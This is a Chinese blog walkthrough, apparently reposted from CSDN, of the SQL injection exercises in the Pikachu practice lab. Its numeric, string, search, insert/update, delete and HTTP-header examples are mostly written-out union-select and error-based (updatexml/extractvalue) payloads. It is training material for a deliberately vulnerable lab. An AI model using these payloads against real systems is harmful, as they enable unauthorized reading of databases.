皮卡丘靶场-sql注入详解

皮卡丘靶场-sql注入

数字型注入

这里为post传参,所以我们需要抓包
在这里插入图片描述
抓包后发现id,我们一般在后面输入 ’ " \来测试有无注入,发现有sql语句报错,而且没有数字1,这和题目提示的数字型注入一样

输入 and 1=1 #
页面回显正常正确
在这里插入图片描述
输入 2 order by 3 # 查看列数(通常用二分法可以迅速找到多少列)
这里提示错误,我们尝试2发现页面回显正常
在这里插入图片描述
联合查询

2 union select 1,database() --+

在这里插入图片描述

字符型注入

输入:kobe
在这里插入图片描述
查看注入类型(加 ’ " \)
这里我们加单引号,有sql语句报错,存在SQL注入,通过报错可知闭合类型为单引号’
在这里插入图片描述
**输入 kobe’ and 1=1 --+**回显正常说明推测正确
在这里插入图片描述
查看列数,利用联合查询暴库
这里和第一题一样用order by 查看列,这里我们知道列数为2,这接联合查询查数据库

kobe' union select version(),2  --+

在这里插入图片描述

搜索型注入

**输入ko’**发现有SQL语句报错,
在这里插入图片描述
**我们输入and 1=1 --+**发现回显正常
在这里插入图片描述
然后我们就可一利用联合查询了:(这列列数为3)

ko' union select 1,2,database()  --+

在这里插入图片描述

xx型注入

单引号先闭合
在这里插入图片描述
在这里插入图片描述
验证:因为闭合了前面的’),后面的我们需要注释,结果正确
在这里插入图片描述
如果你不信可以构造一个(’ 和后面的闭合,结果正确,其实这是另一种思路
在这里插入图片描述

kobe')  union select 1,version() --+

在这里插入图片描述

此处为你没看出闭合方式有括号,同样可以做
如果你不明白不知道闭合方式,那就继续探索
在这里插入图片描述
在这里插入图片描述

kobe'    and extractvalue('1',concat('|',(select database())))  and '

在这里插入图片描述

insert/update注入

我们先注册信息,然后填完后点击提交抓包分析
输入’(判断是否有注入)
在这里插入图片描述
输入 ’ --+
因为我们单引号闭合了前面的,所以要把原有的’ 注释
在这里插入图片描述
在这里插入图片描述
我们继续闭合发现正确

888' and ' --+

在这里插入图片描述

888' and updatexml('|',concat('|',(select database()),'|'),'|') and ' --+'

在这里插入图片描述
这里也可以用下面闭合:

888') and updatexml('|',concat('|',(select database()),'|'),'|') and (' --+

delete注入

输入’
发现有报错,但是报错中没有59 说明为整形注入
在这里插入图片描述
我们直接输入

60 and updatexml('|',concat('|',(select database()),'|'),'|')

注意:因为是url传参所以我们要把我们输入的SQL语句进行URL编码
根据提示,删除留言时抓包:
在这里插入图片描述
在这里插入图片描述

http heade注入

登录以后发现提示说我们打的ip被记录了,下面显示的是另个http请求头内容,再加上题目是header注入,我们想他应该是从头部记录内容存储到数据库,所以我们要在这两个头部进行注入;
在这里插入图片描述
抓包分析
这里因为我的皮卡丘有问题(可能是我太菜)后面的几个都没法做做不了:

在useragent 后面加入sql语句

' or updatexml(1,concat(0x7e,database()),0) or '

SQL注pikaqu入靶场:

推荐一篇不错的讲解:点击即可查看
https://www.cnblogs.com/c1047509362/p/12631146.html

感谢这位大佬的分享

猜你喜欢

转载自blog.csdn.net/Mr_helloword/article/details/107691750